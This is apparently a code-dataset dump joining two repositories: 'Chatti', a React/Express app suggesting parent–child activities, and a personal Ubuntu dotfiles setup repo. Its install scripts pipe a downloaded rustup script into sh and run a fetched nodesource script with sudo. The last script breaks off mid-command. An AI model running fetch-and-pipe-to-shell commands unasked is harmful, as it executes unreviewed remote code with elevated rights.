}) .catch(console.log) } return ( userData && ( <React.Fragment> <SC.Setting> <Header buttons /> <SC.SettingsHeader>{userData.userName}</SC.SettingsHeader> <ActivitySubHeading SettingsSub> Your profile settings: </ActivitySubHeading> <div> <SC.SettingText> <p>Your child's name</p> <p>{userData.childName}</p> </SC.SettingText> <SC.SettingText> <p>Your child's age</p> <p>{childAge}</p> </SC.SettingText> <SC.SettingText> <p>Your email address</p> <p>{userData.userEmail}</p> </SC.SettingText> </div> <ActivitySubHeading SettingsSub> Your notifications and target: </ActivitySubHeading> <SC.SettingsLabel for="notificationsFrequency"> Notification frequency </SC.SettingsLabel> <SC.Select id="notificationsFrequency"> <option value="daily">Daily</option> </SC.Select> <SC.SettingsLabel for="notificationsTime"> Notification time </SC.SettingsLabel> <SC.Select id="notificationsTime"> <option value="20:00:00">8:00pm</option> </SC.Select> <SC.SettingsLabel for="weeklyGoal">Weekly goal</SC.SettingsLabel> <SC.Select id="weeklyGoal"> <option value="70">70 minutes</option> </SC.Select> <Button narrow handleClick={logout} buttonText={'Logout'}> log out </Button> <Navbar /> </SC.Setting> </React.Fragment> ) ) } export default Settings <file_sep>import React from "react"; import { render } from "@testing-library/react"; import HomeLoggedIn from "./HomeLoggedIn"; import { Router } from "react-router-dom"; import { createMemoryHistory } from "history"; test("Home after logging in renders correctly", () => { const history = createMemoryHistory(); const { getByText } = render( <Router history={history}> <HomeLoggedIn userData={{ userName: "Georgia", userEmail: "<EMAIL>", childName: "Freddie", childBirthday: "1/1/2020", childGender: "male" }} /> </Router> ); }); <file_sep># Chatti ![travis](https://travis-ci.com/fac18/chatti.svg?branch=master) <img src="https://imgur.com/xGUSSRl.jpg" alt="database schema" width="300px"> ### Overview Chatti is an app that helps busy parents engage in quality time with their young children. The app suggests fun, quick activities to do, which are targeted at children's early stages development goals. The aim of the app is to close the developmental gap that exists between children starting school aged 4/5, as the significance of early years development means that this gap can persist for life. Chatti is the brainchild of <NAME>, starting from her experience on the Year Here programme. ### 👋Dev Team We are GAP!.... * [Gillian](https://github.com/yeo-yeo): DevOps * [Ayub](https://github.com/Ayub3): UX/UI * [Pat](https://github.com/pat-cki): QA ### 🏁Getting Started 1. download the project with `git clone https://github.com/fac18/chatti.git` 2. `cd` into the folder 3. run `npm run gap` -> this will npm i the three(!) package.jsons 4. you will need environment variables in the server root for the database url, test database url, and JWT secret: speak to us 5. run `npm run start:all` to simultaneously boot up the server and react app ### 💻Tech Stack The app is built with:\ React, including React router, styled components and Formik form library\ Express\ Bcrypt and JWT for authentication\ PostgreSQL (see database schema below)\ Heroku\ Videos and image URLs are hosted externally (e.g. Youtube and Imgur), and their URLs are stored in the database ### 🗄️Database schema <img src="https://imgur.com/BVlwidp.jpg" alt="database schema" width="1000px"> ### 👩‍👦User Stories See our user stories in Github [here](https://github.com/fac18/chatti/labels/user%20story) #### 📐Prototype Our Figma prototype can be found [here](https://www.figma.com/file/x7cFeKTtGpQQfBNwkfg0oX/Chatty?node-id=54%3A607) <img src="https://imgur.com/DepXu2I.jpg" alt="prototype" width="600px"> ### 🏃First Build Sprint We were able to accomplish a lot of setup in our first build sprint, including: * React, Express and PostgreSQL setup * Create an account and login * Basic layout of all components, some with hard-coded data * React component testing * Researching and using libraries, such as Formik and React-player. ### 🏃Second Build Sprint In the second build sprint we pulled together many pieces, including: * retrieving and rendering activities from database * adding video player * styling * adding to/removing from favourites ### ⏳Unmet goals Unfortunately there were some original parts of our MVP which had to be taken out of the scope. These included: * Adding new activities to the user's profile (according to their preferred settings) * Sending push notifications to alert user to new activities * Following up with invitation to rate last activity * Ability to update user's profile settings (the page is visibile but not interactive) * Filtering activities list e.g. by type, age range In hindsight we were too ambitious in what we chose to be our original MVP, especially given the technical difficulty of some of these elements. We were also managing at a reduced capacity of 3 team members vs our expected 4. ### Suggested Future Development Goals * The unmet goals, as above * Setting up the community section * Improve robustness of structure to avoid errors * Set up GUI access to insert/update/delete content from database * External consulting on security of authorisation ### License Released under the MIT license <file_sep>import React from "react"; import { render } from "@testing-library/react"; import Register1 from "./Register1"; import ReactDOM from "react-dom"; test("includes Your Name label", () => { const { getByText } = render(<Register1 />); const headerElement = getByText( /Your name:/i ); expect(headerElement).toBeInTheDocument(); }); it("Register1 renders without problems", () => { const div = document.createElement("div"); ReactDOM.render(<Register1 />, div); }); <file_sep>const supertest = require('supertest') const app = require('../index') let server let request beforeAll(done => { server = app.listen(done) request = supertest(server) }) afterAll(done => { server.close(done) }) test('test suite works', () => { expect(1).toBe(1) }) // test("test endpoint path works", () => { // return request.get("/api/test").then(response => { // expect(response.statusCode).toBe(200); // }); // }); <file_sep>const dbConnection = require('../db_connection.js') const insertFavActivityData = async (id_name, id_activity) => { const response = await dbConnection.query( 'INSERT INTO FAVOURITES (user_id, content_id) VALUES ($1, $2)', [id_name, id_activity] ) return await response } module.exports = { insertFavActivityData } <file_sep>const express = require('express') const path = require('path') const router = require('./router') const cookieParser = require('cookie-parser') const app = express() // Serve static files from the React app app.use(express.static(path.join(__dirname, '/../client/build'))) //for parsing json data in requests app.use(express.json()) //for ability to parse cookies app.use(cookieParser()) // request handling is in router file app.use(router) const port = process.env.PORT || 5000 app.listen(port) console.log(`Chatti server listening on ${port}`) module.exports = app <file_sep>import styled, {css} from 'styled-components' const SvgContainer = styled.div` display: flex; flex-direction:column; align-item:center; height:40vh; justify-content:space-evenly; align-items: center; ` export {SvgContainer} <file_sep>import React from 'react' import * as SC from './Favourite.style' import Button from '../button' import { useHistory } from 'react-router-dom' function Favourite({ activity, setCurrentActivity }) { const data = activity const history = useHistory() const openActivity = () => { setCurrentActivity(data) history.push('/activity') } return ( <SC.Favourite> <div className="activity-preview-container"> <img className="activity-preview" src={activity.image_url} alt="activity preview image" ></img> </div> <div className="right-container"> <div className="top-container"> <h3>{activity.title}</h3> </div> <Button narrow buttonText="Play again" handleClick={openActivity} /> </div> </SC.Favourite> ) } export default Favourite <file_sep>import styled from "styled-components"; const RegisterContainer = styled.body` background-color: #163c9b; `; const Divider = styled.hr` display: flex; flex-direction: row; border: 0.4px solid #ffffff; opacity: 0.2; `; export { RegisterContainer, Divider }; <file_sep>import React from "react"; import Header from "../Header/Header"; function WelcomeBack2() { // need to know user achievements and last activity name const lastActivityName = 'Claparoo'; return ( <> <Header /> <h3>Great!</h3> <h3>That’s XXXX Chatti minutes and XXXX collected</h3> {/* happy graphic */} <h3>Rate ${lastActivityName}</h3> {/* stars rating thing - on click move to next page */} </> ); } export default WelcomeBack2; <file_sep>const runDbBuild = require("./db_build.js"); runDbBuild((err,res)=>{ if(err) { console.log(err) } else { console.log(res) } }) <file_sep>import React from 'react' import styled, { css } from 'styled-components' const GenericButton = styled.button` background: #ffc000; box-shadow: 0px 4px 0px #ff8e00; width: 270px; border-radius: 12px; min-height: 40px; font-family: Lato; font-weight: normal; font-size: 19px; color: #000000; text-align: center; cursor: pointer; border-style: none; margin: 1rem auto; opacity: 85%; transition: 0.3s all ease-in-out; &:hover { opacity: 100%; } &:active { box-shadow: none; } ${props => props.secondary && css` background: #26e2e2; box-shadow: 0px 4px 0px #1a9d9d; `} ${props => props.bottom && css` position: fixed; bottom: 2rem; left: 50%; margin-left: -135px; `} ${props => props.narrow && css` width: 144px; `} ` const Button = props => { return ( <GenericButton secondary={props.secondary} bottom={props.bottom} narrow={props.narrow} onClick={() => { return props.handleClick ? props.handleClick() : null }} > {props.buttonText} </GenericButton> ) } export default Button <file_sep>import React from 'react' import Header from '../Header/Header' import Navbar from '../Navbar/Navbar' import calcProgressStats from '../../utils/calcProgressStats' import { ProgressContainer } from '../masterCss' import { ReactComponent as BadgeStreak } from "../../assets/svgs/badge_streak.svg"; import { ReactComponent as LevelOne } from "../../assets/svgs/level_one_icon.svg"; function Progress({ userData, userLibrary }) { const [progressStats, setProgressStats] = React.useState(null) React.useEffect(() => { if (userLibrary) { setProgressStats(calcProgressStats(userLibrary)) } }, [userLibrary]) return ( <> {progressStats && ( <> <Header buttons /> <ProgressContainer> <h1>Your Progress</h1> <div className="progress-section"> <h3>Total Chatti time:</h3> <span className="flex-display space-between"> <h2>{progressStats.minutesCompleted} minutes</h2> <LevelOne/> </span> </div> <div className="progress-section"> <h3>Activities completed:</h3> <h2>{progressStats.activitiesCompleted}</h2> </div> <div className="progress-section"> <h3>Your badges:</h3> <div className="flex-display space-around"> <BadgeStreak/> <LevelOne/> </div> </div> </ProgressContainer> {/* badges here */} <Navbar /> </> )} </> ) } export default Progress <file_sep>import React from "react"; import { render } from "@testing-library/react"; import Register2 from "./Register2"; import ReactDOM from "react-dom"; test("includes What is your child's name? label", () => { const { getByText } = render(<Register2 />); const headerElement = getByText( /What is your child's name?/i ); expect(headerElement).toBeInTheDocument(); }); it("Register2 renders without problems", () => { const div = document.createElement("div"); ReactDOM.render(<Register2 />, div); }); <file_sep>import React from 'react' import Header from '../Header/Header' import { Link } from 'react-router-dom' import Button from '../button' import styled from 'styled-components' import {ReactComponent as SmileyFace} from '../../assets/svgs/smiley_face.svg' import {GeneralText,Heading} from '../masterCss' import * as SC from "./Register.style"; function Register4({ names }) { return ( <> {names && ( <> <Heading reg4>Great!</Heading> <SC.SvgContainer> <SmileyFace/> <GeneralText> Welcome {names.userName} and {names.childName} </GeneralText> </SC.SvgContainer> <Link to="/login"> <Button bottom type="submit" type="button" buttonText="Log into your profile" ></Button> </Link> </> )} </> ) } export default Register4 <file_sep>const express = require('express') const router = express.Router() const { getUserLogin, getUserLibrary, InsertUserData, getUserData, getUserId, getUser, getFavourites, deleteFavourite, } = require('./database/queries/getData') const { insertFavActivityData } = require('./database/queries/insertData') const { insertContent } = require('./database/queries/postData') const bcrypt = require('bcryptjs') const jwt = require('jsonwebtoken') const secret = process.env.SECRET //find user by email and get hashed pw from db //sets cookie which expires in 24h (express cookies use milliseconds) //consider no expiration? //successful password check sends confirmation to FE allowing redirect router.post('/api/login', (req, res) => { const email = req.body.email const password = <PASSWORD> getUserLogin(email) .then(result => { bcrypt .compare(password, result[0].password) .then(result => { if (result === true) { getUserId(email) .then(result => { const token = jwt.sign(result, secret) res .status(201) .cookie('user', token, { maxAge: 1000 * 60 * 60 * 24 }) .send('cookie exists') }) .catch(console.log) } else { res.status(401).end() } }) .catch(console.log) }) .catch(console.log) }) router.post('/api/signup', (req, res) => { let allData = req.body const passwordtobehashed = req.body.password const newUserEmail = req.body.email bcrypt .hash(passwordtobehashed, 12) .then(result => { allData.password = result InsertUserData(allData) .then(res.status(201).send('signed up')) .catch(console.log) }) .catch(console.log) }) router.get('/api/settings', (req, res) => { res .status(201) .cookie('user', 'ayuboo', { maxAge: 0 }) .send('cookie deleted') }) router.get('/api/userdata', (req, res) => { const codedCookie = req.cookies.user if (codedCookie) { const decodedCookie = jwt.verify(codedCookie, secret) getUserData(decodedCookie) .then(result => { res.json(result) }) .catch(console.log) } else { res.json({ id: null }) } }) router.post('/api/checkuser', (req, res) => { const email = req.body.email getUser(email) .then(result => { res.json(result) }) .catch(console.log) }) router.post('/api/userlibrary', (req, res) => { const email = req.body.email getUserLibrary(email) .then(result => res.json(result)) .catch(console.log) }) router.post('/api/activity', (req, res) => { const nameId = req.body.id_name const activityId = req.body.id_activity insertFavActivityData(nameId, activityId) .then(result => res.json(result)) .catch(console.log) }) router.post('/api/favourites', (req, res) => { const userId = req.body.userId getFavourites(userId) .then(result => res.json(result)) .catch(console.log) }) router.post('/api/deletefavourites', (req, res) => { const contentId = req.body.id_activity const userId = req.body.id_name deleteFavourite(userId, contentId) .then(result => res.json(result)) .catch(console.log) }) router.post('/api/addcontent', (req, res) => { insertContent(req.body) .then(console.log) .catch(console.log) }) // The "catchall" handler: for any request that doesn't // match one above, send back React's index.html file. router.get('*', (req, res) => { res.sendFile(path.join(__dirname + '/../client/build/index.html')) }) module.exports = router
f78acb1d627b716bf697334afbfa959f0555bbb5
[ "JavaScript", "Markdown" ]
55
JavaScript
fac18/chatti
b512f511e1e9cc5ea7d0fe85859f541214432ac5
3f3e7220774332b1233e470727e5aa1d793c3462
refs/heads/master
<file_sep>#!/bin/sh # If any command fails, let the script fail. set -e -x mkdir -p ~/git cd ~/git ! [ -d alpha ] && git clone https://github.com/sunainapai/uasniff.git cd ~/git/alpha/proj/uasniff git pull [ -d /var/www/uasniff ] && mv /var/www/uasniff /tmp/uasniff-delete mkdir /var/www/uasniff cp ~/git/alpha/proj/uasniff/uasniff.py /var/www/uasniff cp -r ~/git/alpha/proj/uasniff/templates /var/www/uasniff cp -r ~/git/alpha/proj/uasniff/static /var/www/uasniff cp ~/git/alpha/proj/uasniff/uasniff.com /var/www/uasniff cp ~/git/alpha/proj/uasniff/uasniff_uwsgi.ini /var/www/uasniff ! [ -d /etc/nginx/snippets ] && sudo mkdir /etc/nginx/snippets sudo cp ~/git/alpha/proj/uasniff/ssl_uasniff.com.conf /etc/nginx/snippets/ssl_uasniff.com.conf sudo chown -R www-data:www-data /var/www/uasniff sudo find /var/www/uasniff -type d -exec chmod 770 {} \; sudo find /var/www/uasniff -type f -exec chmod 660 {} \; # Why this sudo is needed? I have noticed 'Operation not permitted if # the script is run a second time. sudo rm -rf /tmp/uasniff-delete # nginx-uwsgi-flask python3 -m venv ~/.venv/uasniff . ~/.venv/uasniff/bin/activate pip install flask pip install uwsgi sudo cp /var/www/uasniff/uasniff.com /etc/nginx/sites-available/uasniff.com sudo ln -sf /etc/nginx/sites-available/uasniff.com /etc/nginx/sites-enabled ls -l /etc/nginx/sites-enabled sudo service nginx restart sudo service nginx status sudo mkdir -p /var/log/uwsgi sudo chown -R www-data:www-data /var/log/uwsgi <file_sep>[uwsgi] # application's base folder base = /var/www/uasniff # python module to import module = uasniff:app # socket file's location socket = /tmp/uasniff_uwsgi.sock uid = www-data gid = www-data # location of log files logto = /var/log/uwsgi/%n.log <file_sep>#!/bin/sh sudo -u www-data sh <<eof . /home/sunaina/.venv/uasniff/bin/activate uwsgi --ini uasniff_uwsgi.ini eof
9014a2e223bc891b9d5e57c08daec9663b91fe7d
[ "INI", "Shell" ]
3
Shell
sunainapai/uasniff
69e226b429bbefa3de5b5fca0ba4d22172b4caf1
7a1db5c10eb94493ec6dd6eeaed54be582d72b8a
refs/heads/master
<file_sep>const axios = require('axios') async function getMarket(){ try{ const result = await axios.get('https://api.coingecko.com/api/v3/coins/pigeoncoin/') const data = result.data.market_data const returnObject = { priceBtc: data.current_price.btc, priceUsd: data.current_price.usd, volumeBtc: data.total_volume.btc, volumeUsd: data.total_volume.usd, marketCapBtc: data.market_cap.btc, marketCapUsd: data.market_cap.usd, timestamp: Math.floor(Date.now() / 1000), } return returnObject } catch(e){ // market API is not responding, we'll try again later } } ////////////////// module.exports = getMarket <file_sep># Installation Edit `/config/config.json` Put your `serviceAccountKey.json` from Firebase Console into `/config/` Stick `blocknotify=curl -X PUT http://localhost:8080/%s` into `~/.pigeon/pigeon.conf` Run `npm start` Enjoy! <file_sep> async function getAverage(latestRef, averageRef){ let latestSnap = await latestRef.once('value') const latestData = latestSnap.val() let averageSnap = await averageRef.once('value') const averageData = averageSnap.val() if(!latestData.chain || !latestData.market || !latestData.pool){ console.log(`[getAverage] we need to wait for latestData to populate`) return null } else if( !averageData || !averageData.count || !averageData.chain || !averageData.market || !averageData.pool){ console.log(`[getAverage] averageData is incomplete, we need to start fresh`) return Object.assign({count:1},latestData) } else{ console.log(`[getAverage] doing an average!`) return averageObjects(latestData, averageData) } } module.exports = getAverage //////////////// function averageObjects(latestData, averageData){ // average these items const averageTemplate = { chain: [ 'blockTime', 'hashrate' ], market: [ 'marketCapBtc', 'marketCapUsd', 'priceBtc', 'priceUsd', 'volumeBtc', 'volumeUsd', ], pool: [ 'dailyBlocks', 'hashrate', 'miners', 'timeToFind', ] } // make sure everything else is up to date const updatedAverage = Object.assign({},latestData) // break object reference const count = updatedAverage.count = averageData.count + 1 for([key, value] of Object.entries(averageTemplate)){ for(child of value){ let averageChild = averageData[key][child] let latestChild = latestData[key][child] if(!averageChild || !latestChild){ return null } updatedAverage[key][child] = rollingAverage(averageChild, latestChild, count) } } return updatedAverage } function rollingAverage(average, newNumber, n){ return average - (average / n) + (newNumber / n) } <file_sep>var http = require('http') const server = http.createServer(); const config = require('../config/config.json') function BlockNotify(callback){ server.listen( config.http ); console.log(`[blockNotify] listening on http://${config.http.host}:${config.http.port}/ for block notifications`) server.on('request', (request, response) => { callback(request.url.replace("/","")) // the same kind of magic happens here! response.end() }); } module.exports = BlockNotify <file_sep>const rpcClient = require('bitcoind-rpc') const config = require('../config/config.json') const rpc = new rpcClient(config.rpc) async function getMediantime(blockHeight){ const result = await getBlock(blockHeight) return result.mediantime } async function getTime(blockHeight){ const result = await getBlock(blockHeight) return result.time } /////// function getBlock(blockHeight){ return new Promise((resolve, reject) => { rpc.getblockhash(blockHeight, (error, response) => { if(error){ reject(new Error(JSON.stringify(error))) } const blockHash = response.result rpc.getblock(blockHash, (error, response) => { if(error){ reject(new Error(JSON.stringify(error))) } resolve(response.result) }) }) }) } function getMiningInfo(){ return new Promise((resolve, reject) => { rpc.getmininginfo((error, response) => { if(error){ reject(new Error(error)) } resolve(response.result) }) }) } /////////////////////////// /////////////////////////// module.exports = { getMiningInfo, getMediantime, getTime, getBlock} <file_sep>const config = require('./config/config.json') const serviceAccountKey = require('./config/serviceAccountKey.json') const admin = require('firebase-admin') const blockNotify = require('./lib/blockNotify.js') const getChain = require('./lib/getChain.js') const getPool = require('./lib/getPool.js') const getMarket = require('./lib/getMarket.js') const getAverage = require('./lib/getAverage.js') // initialize firebase admin.initializeApp({ credential: admin.credential.cert(serviceAccountKey), databaseURL: config.firebase.databaseURL, databaseAuthVariableOverride: { uid: config.firebase.customUid } }); const db = admin.database() // wait for new blocks // get blockchain data // push it to latestData blockNotify( async (blockHash) => { console.log(`[blockNotify] new block!`) const resultChain = await getChain(blockHash) const ref = db.ref('latestData').child('chain') await ref.update(resultChain) console.log(`[chain] saved new ${resultChain.height}`) rollingAverage() }) // every 15 seconds // get pool data // push it to latestData setInterval(refreshPool, 15*1000) var lastPool = '' async function refreshPool(){ const resultPool = await getPool() const ref = db.ref('latestData').child('pool') if(resultPool && objectsAreDifferent(resultPool,lastPool)){ lastPool = resultPool await ref.update(resultPool) console.log(`[pool] saved new data`) } } // every 60 seconds // get market data // push it to latestData setInterval(refreshMarket, 60*1000) var lastMarket = '' async function refreshMarket(){ const resultMarket = await getMarket() const ref = db.ref('latestData').child('market') if(resultMarket && objectsAreDifferent(resultMarket, lastMarket)){ lastMarket = resultMarket await ref.update(resultMarket) console.log(`[market] saved new data`) } } // call from blockNotify // add to rollingAverage // if height % 72 == 0 // save rollingAverage to averageHistory async function rollingAverage(){ const latestRef = db.ref('latestData') const averageRef = db.ref('averageData') const newAverage = await getAverage(latestRef, averageRef) if(newAverage){ const historyRef = db.ref('historyData') const height = newAverage.chain.height if(height % 72 == 72-1){ // push it to history historyRef.child(height).update(newAverage) averageRef.remove() } else { // update the average await averageRef.update(newAverage) } } } ////////////////// function objectsAreDifferent(object1, object2){ // copy object but sever reference const testObject1 = Object.assign({}, object1) const testObject2 = Object.assign({}, object2) // delete timestamps delete testObject1.timestamp delete testObject2.timestamp return JSON.stringify(testObject1) != JSON.stringify(testObject2) }
a29c079a435cea311613575fc30892e4705c22a6
[ "JavaScript", "Markdown" ]
6
JavaScript
Pigeoncoin/api-collector
1dba729d9bf7dd48f19f87ef43d01cfaee8e2371
fa474bc30d7afa1e8b7078cd62af882ebc000aa3
refs/heads/master
<repo_name>OCJvanDijk/fsevents-watcher<file_sep>/build.sh . ./set_python_home.sh export PKG_CONFIG_PATH=$PKG_CONFIG_PATH:$PYTHON_HOME/lib/pkgconfig set -eu go get github.com/fsnotify/fsevents go build -buildmode=c-shared -o fsevents_watcher.so
70c7b49567c64cd13cdf131476f529be145e0cff
[ "Shell" ]
1
Shell
OCJvanDijk/fsevents-watcher
dff1f108a1f2a2e3a612a64144d484f69f236cf1
e40380a62ba3e2b89000991fbd2b7f435f59d86c
refs/heads/master
<file_sep>echo ""; echo "#######################################"; echo "# SDS: Installing dependencies"; echo ""; sh $(pwd)/sds_install_dependencies.sh; echo "" >> ~/.bashrc; echo "# Custom code" >> ~/.bashrc; echo "if [ -f ~/.userrc ]; then" >> ~/.bashrc; echo " . ~/.userrc;" >> ~/.bashrc; echo "fi" >> ~/.bashrc; echo ""; echo "#######################################"; echo "# SDS: Installing desktop environment"; echo ""; sh $(pwd)/sds_install_de.sh; echo ""; echo "#######################################"; echo "# SDS: Set configs"; echo ""; sh $(pwd)/sds_settings.sh; echo ""; echo "#######################################"; echo "# SDS: Cleaning up"; echo ""; sudo apt-get clean; sudo apt-get autoremove; echo ""; echo "#######################################"; echo "# SDS: Setup all done"; echo ""; <file_sep># prepare # retrieve needed packages sudo apt-get install -y apt-transport-https software-properties-common wget libglibmm-2.4-1v5; # finally install all sudo apt-get update; wget https://launchpad.net/~kxstudio-debian/+archive/kxstudio/+files/kxstudio-repos_9.5.1~kxstudio3_all.deb sudo dpkg -i kxstudio*; rm -rf kxstudio3* wget https://launchpad.net/~kxstudio-debian/+archive/kxstudio/+files/kxstudio-repos-gcc5_9.5.1~kxstudios3_all.deb rm -rf kxstudio3* # sudo apt-get install -y --fix-missing ardour pulseaudio pavucontrol cadence jack-tools ant qjackctl pulseaudio-module-* jack-mixer jamin pulseaudio-utils audacious qmidiroute; sudo apt-get install -y --fix-missing ardour pulseaudio pavucontrol cadence jack-tools ant qjackctl pulseaudio-module-* non-mixer pulseaudio-utils audacious; # update alternatives # setup # cleanup <file_sep>[colors] background = #111 background-alt = #444 foreground = #dfdfdf foreground-alt = #888 primary = #ffb52a secondary = #e60053 alert = #bd2c40 [bar/main] monitor = ${env:MONITOR:} width = 100% height = 3% radius = 7.0 fixed-center = false bottom = true background = ${colors.background} foreground = ${colors.foreground} border-size = 0 line-size = 2 padding = 2 module-margin = 1 font-0 = "Noto Mono:size=10;1" font-1 = "Noto Sans Mono:size=10;1" font-2 = "Noto Sans Symbols:size=10;1" font-3 = "Noto Sans Symbols2:size=10;1" # modules-left = date ewmh xwindow modules-left = date ewmh modules-center = modules-right = pulseaudio volume eth wlan cpu battery tray-position = right tray-padding = 2 tray-maxsize = 24 [global/wm] margin-top = 0 [module/xwindow] type = internal/xwindow label = %title:0:30:...% [module/ewmh] type = internal/xworkspaces pin-workspaces = false enable-click = true enable-scroll = false label-active = " %name% " label-active-underline = #fba922 label-occupied = " %name% " label-occupied-foreground = #ffaa00 label-urgent = " %name% " label-urgent-underline = #9b0a20 label-empty = " %name% " label-empty-foreground = #555555 [module/pulseaudio] type = internal/pulseaudio ; Sink to be used, if it exists (find using `pacmd list-sinks`, name field) ; If not, uses default sink ; sink = alsa_output.pci-0000_12_00.3.analog-stereo use-ui-max = true ; Available tags: ; <label-volume> (default) ; <ramp-volume> ; <bar-volume> format-volume = <ramp-volume> <label-volume> ; Available tags: ; <label-muted> (default) ; <ramp-volume> ; <bar-volume> ;format-muted = <label-muted> ; Available tokens: ; %percentage% (default) label-volume = %percentage%% ; Available tokens: ; %percentage% (default) label-muted = 🔇 muted label-muted-foreground = #66 ; Only applies if <ramp-volume> is used ramp-volume-0 = 🔈 ramp-volume-1 = 🔉 ramp-volume-2 = 🔊 format-prefix = format-prefix-foreground = ${colors.foreground-alt} format-underline = #0a6cf5 [module/volume] type = internal/volume ; Soundcard to be used ; Usually in the format hw:# ; You can find the different card numbers in `/proc/asound/cards` master-soundcard = default speaker-soundcard = default headphone-soundcard = default ; Name of the master mixer ; Default: Master master-mixer = Master ; Optionally define speaker and headphone mixers ; Use the following command to list available mixer controls: ; $ amixer scontrols | sed -nr "s/.*'([[:alnum:]]+)'.*/\1/p" ; If speaker or headphone-soundcard isn't the default, ; use `amixer -c #` where # is the number of the speaker or headphone soundcard ; Default: none ; speaker-mixer = Speaker ; Default: none ; headphone-mixer = Headphone ; NOTE: This is required if headphone_mixer is defined ; Use the following command to list available device controls ; $ amixer controls | sed -r "/CARD/\!d; s/.*=([0-9]+).*name='([^']+)'.*/printf '%3.0f: %s\n' '\1' '\2'/e" | sort ; You may also need to use `amixer -c #` as above for the mixer names ; Default: none ; headphone-id = 9 ; Use volume mapping (similar to amixer -M and alsamixer), where the increase in volume is linear to the ear ; Default: false mapped = true ; Available tags: ; <label-volume> (default) ; <ramp-volume> ; <bar-volume> format-volume = <ramp-volume> <label-volume> format-prefix = format-prefix-foreground = ${colors.foreground-alt} format-underline = #0a6cf5 ; Available tags: ; <label-muted> (default) ; <ramp-volume> ; <bar-volume> ;format-muted = <label-muted> ; Available tokens: ; %percentage% (default) ;label-volume = %percentage%% ; Available tokens: ; %percentage% (default) label-muted = 🔇 muted label-muted-foreground = #66 ; Only applies if <ramp-volume> is used ramp-volume-0 = 🔈 ramp-volume-1 = 🔉 ramp-volume-2 = 🔊 ; If defined, it will replace <ramp-volume> when ; headphones are plugged in to `headphone_control_numid` ; If undefined, <ramp-volume> will be used for both ; Only applies if <ramp-volume> is used ramp-headphones-0 =  ramp-headphones-1 =  [module/cpu] type = internal/cpu interval = 2 format-prefix = "💻 " format-prefix-foreground = ${colors.foreground-alt} format-underline = #f90000 label = %percentage:2%% [module/memory] type = internal/memory interval = 2 format-prefix = "🗍 " format-prefix-foreground = ${colors.foreground-alt} format-underline = #4bffdc label = %percentage_used:2%% [module/wlan] type = internal/network interface = wlp4s0 interval = 5.0 format-connected = <ramp-signal> <label-connected> format-connected-underline = #9f78e1 label-connected = %essid% label-disconnected = ramp-signal-0 = 🌧 ramp-signal-1 = 🌦 ramp-signal-2 = 🌥 ramp-signal-3 = 🌤 ramp-signal-4 = 🌣 [module/eth] type = internal/network interface = enp0s3 interval = 3.0 format-connected-underline = #55aa55 format-connected-prefix = "🖧 " format-connected-prefix-foreground = ${colors.foreground-alt} label-connected = %local_ip% format-disconnected = [module/date] type = internal/date interval = 5 date = "%a %d" date-alt = %a %b %d # time = %I:%M time = %H:%M time-alt = %H:%M # time-alt = %I:%M%p format-prefix = format-prefix-foreground = ${colors.foreground-alt} format-underline = #0a6cf5 label = %date% %time% [module/battery] type = internal/battery battery = BAT0 adapter = AC full-at = 98 format-charging = <label-charging> format-charging-underline = #ffb52a format-discharging = <ramp-capacity> <label-discharging> format-discharging-underline = ${self.format-charging-underline} format-full = <label-full> format-full-underline = ${self.format-charging-underline} ramp-capacity-0 = ⚋ ramp-capacity-1 = ⚊ ramp-capacity-2 = ⚍ ramp-capacity-3 = ⚌ ramp-capacity-foreground = ${colors.foreground-alt} label-charging = ⚡ %percentage%% label-discharging = %percentage%% label-full = " ☀ " [settings] screenchange-reload = true ; vim:ft=dosini <file_sep>mkdir -p ~/bin; mkdir -p ~/npm; mkdir -p ~/work/src; rm -rf ~/go; ln -s ~/work ~/go; mkdir -p ~/.config; mkdir -p ~/.config/Code/User; mkdir -p ~/.config/sublime-text-3; mkdir -p ~/.config/tint2; mkdir -p ~/.config/openbox; mkdir -p ~/.config/polybar; rm -rf ~/.gitconfig; rm -rf ~/.gitignore_global; rm -rf ~/.userrc; rm -rf ~/.tmux.conf; rm -rf ~/.npmrc; rm -rf ~/.vimrc; rm -rf ~/.Xresources; rm -rf ~/.xinitrc; rm -rf ~/.config/Code/User/*; rm -rf ~/.config/openbox/*; rm -rf ~/.config/polybar/*; rm -rf ~/.config/tint2/*; rm -rf ~/.gtkrc-2.0; cp .gitconfig ~/.gitconfig; cp .gitignore_global ~/.gitignore_global; cp .userrc ~/.userrc; cp .tmux.conf ~/.tmux.conf; cp .npmrc ~/.npmrc; cp .vimrc ~/.vimrc; cp .Xresources ~/.Xresources; cp .xinitrc ~/.xinitrc; cp .gtkrc-2.0 ~/.gtkrc-2.0; cp -rf openbox/* ~/.config/openbox/; cp -rf polybar/* ~/.config/polybar/; cp -rf Code/User/* ~/.config/Code/User/; cp -rf vscode/* ~/.vscode/; cp -rf sublime-text-3/* ~/.config/sublime-text-3/; cp -rf tint2/* ~/.config/tint2/; sudo groupadd realtime; sudo usermod -a -G realtime sendoushi; sudo usermod -a -G audio sendoushi; <file_sep># Ubuntu custom 1. Install ubuntu server - 10gb minimum, 30gb recommended for work - Install with SSH 2. Change `/etc/apt/sources.list` repos to `https://us.*` 3. Run code ```bash sudo apt-get update && sudo apt-get upgrade && sudo apt-get dist-upgrade; \ sudo apt-get install -y --fix-missing git ;\ git clone https://github.com/Sendoushi/setup.git ~/setup ;\ cd setup; \ sh sds_install.sh; \ cd ../; ``` ### VirtualBox #### VBoxGuestAdditions. In case you don't have it already... ```bash # Start the Ubuntu Server VM and insert the Guest Additions CD image sudo mount /dev/cdrom /media/cdrom sudo apt-get install -y dkms build-essential linux-headers-generic linux-headers-$(uname -r) sudo /media/cdrom/VBoxLinuxAdditions.run sudo adduser <username> vboxsf ``` <file_sep>sudo apt-get update && sudo apt-get upgrade && sudo apt-get dist-upgrade; sudo apt-get install -y --fix-missing git htop cmake python-dev vim vim-nox ack-grep curl tmux alsa-utils autocutsel pulseaudio; rm -rf setup_* && curl -O https://deb.nodesource.com/setup_8.x && sudo sh setup_8.x && rm -rf setup_*; sudo apt-get update && sudo apt-get install -y --fix-missing nodejs; sudo npm install -g stylelint eslint typescript; rm -rf go1*; curl -O https://dl.google.com/go/go1.10.linux-amd64.tar.gz; tar xvf go1*.tar.gz; sudo rm -rf /usr/local/go; sudo mv go /usr/local; rm -rf go1*; curl -sf -L https://static.rust-lang.org/rustup.sh | sh; sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv 2930ADAE8CAF5059EE73BB4B58712A2291FA4AD5 sudo sh -c 'echo "deb [ arch=amd64,arm64 ] https://repo.mongodb.org/apt/ubuntu xenial/mongodb-org/3.6 multiverse" | 